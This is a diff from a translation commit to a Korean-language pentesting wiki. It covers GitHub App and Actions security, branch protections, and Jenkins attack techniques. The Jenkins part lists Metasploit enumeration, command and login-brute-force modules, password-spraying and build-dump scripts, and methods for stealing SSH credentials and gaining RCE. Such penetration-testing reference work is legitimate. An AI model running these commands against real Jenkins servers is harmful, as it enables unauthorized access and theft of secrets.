-- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다.
-- [https://github.com/settings/apps](https://github.com/settings/apps)에서 자신만의 Github 응용 프로그램을 생성할 수 있습니다.
-- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 귀하의 계정에 접근할 수 있는 모든 **Github 응용 프로그램**을 확인할 수 있습니다.
-- 다음은 **Github 응용 프로그램을 위한 API 엔드포인트**입니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱의 권한에 따라 일부에 접근할 수 있습니다.
-- **조직**에 설치된 앱은 _https://github.com/organizations/\/settings/installations_에서 확인할 수 있습니다.
+- GitHub 앱을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다.
+- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다.
+- [https://github.com/settings/apps](https://github.com/settings/apps)에서 **자신의 Github 애플리케이션을 생성**할 수 있습니다.
+- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 **귀하의 계정에 접근할 수 있는 모든 Github 애플리케이션**을 확인할 수 있습니다.
+- **Github 애플리케이션을 위한 API 엔드포인트**는 [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)입니다. 앱의 권한에 따라 일부에 접근할 수 있습니다.
+- _https://github.com/organizations/\/settings/installations_에서 **조직에 설치된 앱**을 확인할 수 있습니다.
-몇 가지 보안 권장 사항:
+일부 보안 권장 사항:
-- GitHub App은 **사용자와 독립적으로 행동해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요.
-- GitHub App이 **특정 리포지토리**와 통합되도록 하세요.
-- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다.
-- GitHub App이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오.
-- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub App을 사용하지 마십시오**. 그러나 GitHub App은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 다른 작업을 수행할 수 있습니다.
-- GitHub 사용자의 역할만 수행하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub App을 만들지 마십시오.
-- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱을 위한 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요.
-- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHub 앱은 **사용자와 독립적으로 작업해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요.
+- GitHub 앱이 **특정 리포지토리**와 통합되도록 하십시오.
+- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다.
+- GitHub 앱이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오.
+- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub 앱을 사용하지 마십시오**. 그러나 GitHub 앱은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 _다른_ 작업을 수행할 수 있습니다.
+- GitHub 사용자로서만 작동하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub 앱을 구축하지 마십시오.
+- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱의 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요.
+- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-이것은 **github에서 인증하는 방법**이 아니지만, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, Action에 부여된 **권한**에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
+이것은 **github에서 인증하는 방법이 아니지만**, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, **Action에 부여된 권한에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
## Git Actions
-Git actions는 **이벤트가 발생할 때 코드 실행을 자동화**할 수 있습니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되지 않았는지 확인).
+Git actions는 **이벤트가 발생할 때 코드를 자동으로 실행**할 수 있게 해줍니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되어 있지 않은지 확인).
-### Configuration
+### 구성
-_https://github.com/organizations/\/settings/actions_에서 조직의 **github actions 구성**을 확인할 수 있습니다.
+_https://github.com/organizations/\/settings/actions_에서 **조직의 github actions 구성**을 확인할 수 있습니다.
-GitHub Actions의 사용을 완전히 금지하거나, **모든 GitHub Actions을 허용**하거나, 특정 작업만 허용하도록 설정할 수 있습니다.
+github actions의 사용을 완전히 금지하거나, **모든 github actions을 허용**하거나, 특정 작업만 허용할 수 있습니다.
-또한 **GitHub Action을 실행하기 위해 승인해야 하는 사람**과 GitHub Action이 실행될 때의 **GITHUB_TOKEN의 권한**을 구성할 수 있습니다.
+또한 **Github Action을 실행하기 위해 승인해야 하는 사람**과 **Github Action이 실행될 때 GITHUB_TOKEN의 권한**을 구성할 수 있습니다.
-### Git Secrets
+### Git 비밀
-GitHub Action은 일반적으로 GitHub 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **리포지토리에 평문으로 넣는 것을 피하기 위해** GitHub은 이를 **Secrets**로 설정할 수 있도록 허용합니다.
+Github Action은 일반적으로 github 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **비밀을 평문으로 리포지토리에 넣지 않기 위해**, github은 이를 **비밀**로 설정할 수 있도록 허용합니다.
-이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 하려면 다음과 같이 선언해야 합니다:
+이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 선언해야 합니다:
```yaml
steps:
- name: Hello world action
@@ -170,73 +170,73 @@ example-command "$SUPER_SECRET"
> [!WARNING]
> Secrets **는 선언된 Github Actions에서만 접근할 수 있습니다.**
-> 레포지토리나 조직에 구성된 후 **github 사용자는 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.**
+> 레포지토리나 조직에 구성된 후 **github 사용자들은 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.**
따라서, **github 비밀을 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것입니다** (그 시나리오에서는 Action에 대해 선언된 비밀만 접근할 수 있습니다).
### Git Environments
-Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 제공할 수 있습니다:
+Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 다음과 같이 부여할 수 있습니다:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+환경을 **모든 브랜치**(기본값)에서 **접근할 수 있도록** 구성하거나, **보호된** 브랜치만 **접근할 수 있도록** 하거나, **어떤 브랜치가 접근할 수 있는지 지정**할 수 있습니다.\
+또한 **작업**을 **실행하기 전에 필요한 리뷰 수**를 설정하거나, 배포가 진행되기 전에 **일정 시간**을 **기다릴** 수 있습니다.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Github Action은 **github 환경 내에서 실행**되거나 사용자가 구성한 **타사 인프라**에서 실행될 수 있습니다.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+여러 조직에서는 **타사 인프라**에서 Github Actions를 실행할 수 있도록 허용하는데, 이는 **더 저렴하기** 때문입니다.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+조직의 **자체 호스팅 러너**를 _https://github.com/organizations/\/settings/actions/runners_에서 **목록화**할 수 있습니다.
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+**비-Github 인프라에서 실행되고 있는 Github Actions**를 찾는 방법은 Github Action 구성 yaml에서 `runs-on: self-hosted`를 검색하는 것입니다.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+**다른 조직의 자체 호스팅 박스** 내에서 조직의 Github Action을 실행하는 것은 **러너가 속한 곳을 알기 위해 러너에 대해 고유한 토큰이 생성되기 때문에 불가능**합니다.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+예를 들어, 커스텀 **Github Runner가 AWS 또는 GCP 내의 머신에 구성된 경우**, Action은 **메타데이터 엔드포인트에 접근할 수 있고** 머신이 실행 중인 **서비스 계정의 토큰을 훔칠 수 있습니다**.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+모든 작업(또는 악의적인 작업)이 허용되면 사용자는 **악의적인 Github Action**을 사용할 수 있으며, 이는 **실행되고 있는 컨테이너를 손상시킬 수 있습니다**.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> 실행된 **악의적인 Github Action**은 공격자가 다음과 같이 **악용할 수 있습니다**:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Action이 접근할 수 있는 모든 비밀을 훔치기**
+> - **타사 인프라 내에서 Action이 실행되는 경우 수평 이동** (아마도 메타데이터 서비스를 통해 머신을 실행하는 데 사용된 SA 토큰에 접근 가능)
+> - **코드 저장소의 코드를 훔치거나** **수정하기 위해 워크플로에서 사용되는 토큰을 악용하기**.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+브랜치 보호는 사용자가 **저장소에 대한 완전한 제어를 갖지 않도록** 설계되었습니다. 목표는 **일부 브랜치 내에서 코드를 작성할 수 있기 전에 여러 보호 방법을 설정하는 것**입니다.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+저장소의 **브랜치 보호**는 _https://github.com/\/\/settings/branches_에서 찾을 수 있습니다.
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다**. 따라서 모든 보호는 각 저장소에서 선언해야 합니다.
-Different protections can be applied to a branch (like to master):
+브랜치에 다양한 보호를 적용할 수 있습니다(예: master):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- **병합 전에 PR을 요구할 수 있습니다**(따라서 브랜치에 직접 코드를 병합할 수 없습니다). 이 옵션을 선택하면 다른 여러 보호가 적용될 수 있습니다:
+- **승인 수를 요구합니다**. PR을 승인하기 위해 1명 또는 2명 이상의 추가 승인을 요구하는 것이 일반적이므로 단일 사용자가 직접 코드를 병합할 수 없습니다.
+- **새 커밋이 푸시될 때 승인을 무효화합니다**. 그렇지 않으면 사용자가 정당한 코드를 승인한 후 악의적인 코드를 추가하고 병합할 수 있습니다.
+- **코드 소유자의 리뷰를 요구합니다**. 저장소의 코드 소유자 중 최소 1명이 PR을 승인해야 합니다(따라서 "무작위" 사용자가 승인할 수 없습니다).
+- **풀 리퀘스트 리뷰를 무효화할 수 있는 사람을 제한합니다**. 풀 리퀘스트 리뷰를 무효화할 수 있는 사람이나 팀을 지정할 수 있습니다.
+- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용합니다**. 이러한 사용자는 이전 제한을 우회할 수 있습니다.
+- **병합 전에 상태 검사가 통과해야 합니다**. 커밋을 병합하기 전에 통과해야 하는 몇 가지 검사가 있습니다(예: 평문 비밀이 없는지 확인하는 github action).
+- **병합 전에 대화 해결을 요구합니다**. 코드에 대한 모든 댓글은 PR을 병합하기 전에 해결되어야 합니다.
+- **서명된 커밋을 요구합니다**. 커밋은 서명되어야 합니다.
+- **선형 기록을 요구합니다**. 병합 커밋이 일치하는 브랜치에 푸시되는 것을 방지합니다.
+- **관리자를 포함합니다**. 이 설정이 없으면 관리자는 제한을 우회할 수 있습니다.
+- **일치하는 브랜치에 푸시할 수 있는 사람을 제한합니다**. PR을 보낼 수 있는 사람을 제한합니다.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> 보시다시피, 사용자의 자격 증명을 얻었다고 하더라도, **저장소가 보호되어 있어 예를 들어 master에 코드를 푸시하는 것을 방지할 수 있습니다**.
## References
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index caaac856d..ea95ab89a 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,18 +1,18 @@
-# Jenkins Security
+# Jenkins 보안
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 기본 정보
-Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한, 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요**를 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.
+Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요성**을 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
+## 인증되지 않은 열거
-인증 없이 흥미로운 Jenkins 페이지를 검색하기 위해 (_/people_ 또는 _/asynchPeople_, 현재 사용자를 나열함) 다음을 사용할 수 있습니다:
+인증 없이 흥미로운 Jenkins 페이지를 검색하려면 (_/people_ 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
@@ -20,55 +20,43 @@ msf> use auxiliary/scanner/http/jenkins_enum
```
msf> use auxiliary/scanner/http/jenkins_command
```
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
+자격 증명이 없으면 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
-자격 증명 없이 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
-
-Jenkins 버전은 _**/oops**_ 또는 _**/error**_ 경로에서 확인할 수 있습니다.
+경로 _**/oops**_ 또는 _**/error**_에서 Jenkins 버전을 확인할 수 있을 것입니다.
.png>)
-### Known Vulnerabilities
+### 알려진 취약점
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## 로그인
-In the basic information you can check **all the ways to login inside Jenkins**:
-
-기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다.
+기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### 등록
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. **그것만큼 간단합니다.**
-계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 그만큼 간단합니다.
+### **SSO 로그인**
-### **SSO Login**
+또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 얻으세요.
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+### 브루트포스
-또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 확인하세요.
-
-### Bruteforce
-
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
-
-**Jenkins**는 **비밀번호 정책**과 **사용자 이름 무차별 대입 완화**가 부족합니다. **약한 비밀번호**나 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자에 대한 무차별 대입**이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다.
+**Jenkins**는 **비밀번호 정책**과 **사용자 이름 브루트포스 완화**가 부족합니다. **약한 비밀번호** 또는 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자**를 **브루트포스**하는 것이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### 비밀번호 스프레이
-[이 파이썬 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 또는 [이 파워셸 스크립트](https://github.com/chryzsh/JenkinsPasswordSpray)를 사용하세요.
+Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP 화이트리스트 우회
@@ -76,7 +64,7 @@ msf> use auxiliary/scanner/http/jenkins_login
이를 달성하기 위해 조직은 **SCM 플랫폼**의 **IP 범위**를 **화이트리스트**하여 **웹훅**을 통해 **내부 CI 시스템**에 접근할 수 있도록 허용합니다. 그러나 **누구나** GitHub 또는 GitLab에 **계정**을 생성하고 이를 **웹훅을 트리거**하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 **내부 CI 시스템**에 요청을 보낼 수 있습니다.
-확인: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## 내부 Jenkins 남용
@@ -95,9 +83,9 @@ basic-jenkins-information.md
Jenkins에 접근했다면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다.
-### 평문 비밀을 찾기 위한 빌드 덤프
+### 평문 비밀 찾기를 위한 빌드 덤프
-[이 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)를 사용하여 빌드 콘솔 출력 및 빌드 환경 변수를 덤프하여 평문 비밀을 찾으세요.
+Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
@@ -105,19 +93,19 @@ gitleaks detect --no-git -v
```
### **SSH 자격 증명 탈취**
-타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정함으로써** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고:
+타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고:
.png>)
-Jenkins ssh 자격 증명은 **전역 제공자**(`/credentials/`)에서 일반적으로 찾을 수 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수도 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요.
+Jenkins SSH 자격 증명은 일반적으로 **전역 제공자**(`/credentials/`)에 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요.
### **Jenkins에서의 RCE**
-**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 기회**를 제공합니다.
+**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 수 있는 기회**를 제공합니다.
기본적으로 Jenkins는 **SYSTEM으로 실행**됩니다. 따라서 이를 타협하면 공격자는 **SYSTEM 권한**을 얻게 됩니다.
-### **프로젝트 생성/수정으로 RCE**
+### **프로젝트 생성/수정으로 RCE 얻기**
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:
@@ -125,7 +113,7 @@ Jenkins ssh 자격 증명은 **전역 제공자**(`/credentials/`)에서 일반
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **Groovy 스크립트 실행으로 RCE**
+### **Groovy 스크립트 실행으로 RCE 얻기**
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:
@@ -133,7 +121,7 @@ Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새
jenkins-rce-with-groovy-script.md
{{#endref}}
-### 파이프라인 생성/수정으로 RCE
+### 파이프라인 생성/수정으로 RCE 얻기
**파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다**:
@@ -151,9 +139,9 @@ jenkins-rce-creating-modifying-pipeline.md
.png>)
-또한 **다른 위치에 파이프라인 구성 파일을 저장하는 것**도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리**하는 목표를 가지고 있습니다.
+또한 **다른 위치에 파이프라인 구성 파일을 저장**하는 것도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리하기 위한 목적**입니다.
-공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **파이프라인을 트리거할 수 있습니다**. Jenkins에 접근하지 않고도 말입니다.\
+공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **Jenkins에 접근하지 않고도** 파이프라인을 **트리거할 수 있습니다**.\
공격자가 **일부 브랜치 보호를 우회해야 할 수도 있습니다**(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다).
사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:
@@ -163,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md
- **주 브랜치를 업데이트**하고 실행될 때까지 기다리기
> [!NOTE]
-> **외부 사용자**인 경우, **다른 사용자/조직의** 저장소의 **주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**.
+> **외부 사용자**인 경우, **다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**.
### 파이프라인 RCE
@@ -171,7 +159,7 @@ jenkins-rce-creating-modifying-pipeline.md
### 환경 변수 확인
-**전체 파이프라인** 또는 특정 단계에 대해 **일반 텍스트 환경 변수를 선언**할 수 있습니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**:
+**전체 파이프라인 또는 특정 단계에 대해 일반 텍스트 환경 변수를 선언**하는 것이 가능합니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**:
```bash
pipeline {
agent {label 'built-in'}
@@ -194,13 +182,13 @@ Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정
basic-jenkins-information.md
{{#endref}}
-자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job//configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**하고 사용자 정의/오염된 파이프라인을 실행해야 합니다.
+자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job//configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**해야 하며, 사용자 정의/오염된 파이프라인을 실행해야 합니다.
-또 다른 문제는, 파이프라인의 **env** 내에서 **비밀을 얻으려면 비밀의 이름과 유형을 알아야** 한다는 것입니다. 예를 들어, **`usernamePassword`** **비밀**을 **`string`** **비밀**로 **로드**하려고 하면 이 **오류**가 발생합니다:
